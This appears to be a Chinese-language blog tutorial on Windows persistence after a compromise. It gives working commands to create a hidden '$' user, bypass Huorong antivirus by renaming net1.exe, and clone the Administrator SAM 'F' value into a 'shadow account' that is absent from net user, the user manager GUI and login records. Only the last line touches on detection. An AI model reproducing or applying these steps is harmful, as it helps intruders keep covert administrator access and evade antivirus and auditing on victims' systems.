# Windows 安全
通常黑客在通过某个漏洞入侵系统后,为防止管理员修补漏洞后无法继续访问,便会在系统留下各种后门方便自己下次再次访问,也是网络上常说的权限维持,这是一件极其重要的事,常用的权限维持有建立系统隐藏账户、上传木马后门程序、创建计划任务和启动任务、映像劫持等
这里只简单的说一下建立 windows
操作系统的隐藏账户方法,假设我已经拿到了某主机的远程 shell
权限
# 添加系统隐藏账号
在 Windows
系统中,如果新建账号的结尾加上 $ 符合,则表示这个是一个隐藏账号,该账号在命令行中使用 net user
无法查看,但是在图形化界面中的用户管理界面是能够看到的
首先用 net user
查看当前系统有哪些用户
net user
然后用 net user
命令添加一个隐藏账号
net user bob$ /add *
执行命令后一直卡了很久并且没有回显,用 wmic
查看 sid
确认命令是否执行成功
wmic useraccount get name,sid
很明显前面添加用户的命令没有执行成功,这种情况一般是被安全软件拦截了,用 wmic
查看当前系统是否安装了防病毒软件
wmic /namespace:\\root\securitycenter2 path antivirusproduct get displayname /format:list
发现对方安装了火绒,这个直接 net1
绕过即可
copy net1.exe log.txt
log.txt user bob$ P@sswd /add
通过查看 SID
的命令也发现用户添加成功了,直接用 net user
是不显示这个账户的
但是 net user
指定账户名可以查询到这个账户的信息
net user bob$
# 升级影子账户
目前这个账户还是普通的 user
权限,接下来就是将该隐藏账号升级到影子账户,让它不在图形化界面的用户管理器中显示,使其更具备隐藏性
首先查看该账户在注册表中的用户名键值类型,由于我目前的远程 shell
是 system
权限,可以直接操作注册表 HKLM\SAM
下的键值,如果是 administrator
需要添加 SAM
键的权限
需要先导出 names
下面的 bob$
默认的值,然后查看该值的类型值
-
reg export hklm\sam\sam\domains\account\users\names\bob$ %temp%\1.reg
-
type %temp%\1.reg
可以看到 type
尾数是 3eb
,接下来就是将 administrator
账户的 SID
键对应的 " F
" 值数据复制到 3eb
子键下的 " F
" 值数据,这样 bob$
这个账户的登录信息就会映射到 administrator
这个账户
首先查看 administrator
账户的 " F
" 值数据,administrator 默认键是 000001F4
, 其它账户自己查看
reg query hklm\sam\sam\domains\account\users\000001F4 /v F
复制该值数据,写入到 bob$
对应的 SID
子键下 " F
" 值数据,然后把 bob$
对应的键 000003EB
导出
-
reg add hklm\sam\sam\domains\account\users\000003EB /v F /t REG_BINARY /d "03000100000000009A2F72C845FAD70100000000000000004411658129FAD70100000000000000000000000000000000F401000001020000100200000000000000000200010000000000000000000A00"
-
reg export hklm\sam\sam\domains\account\users\000003EB %temp%\2.reg
现在把 bob$ 这个账户从计算机删除,还是用之前 net1 副本操作,不然会被火绒拦截
log.txt user bob$ /del
接下来就是将之前导出的 1.reg 和 2.reg 导入到注册表,这样影子账户就建立好了
reg import %temp%\1.reg && reg import %temp%\2.reg
影子账户具备有较高的隐藏性,它不会出现在 net user
输出内容中,也不会出现在图形化的用户管理界面,不会创建登录用户文件夹,由于影子账户是映射到 administrator
账号,所以系统仅记录 administrator
的登录记录,并且跟 administrator
共享权限和同一个桌面
如果想查看系统是否存在影子账户,可以用前面的 wmic useraccount get name,sid
查看,另外网上也有一些查看影子账户的小工具,这个自行百度吧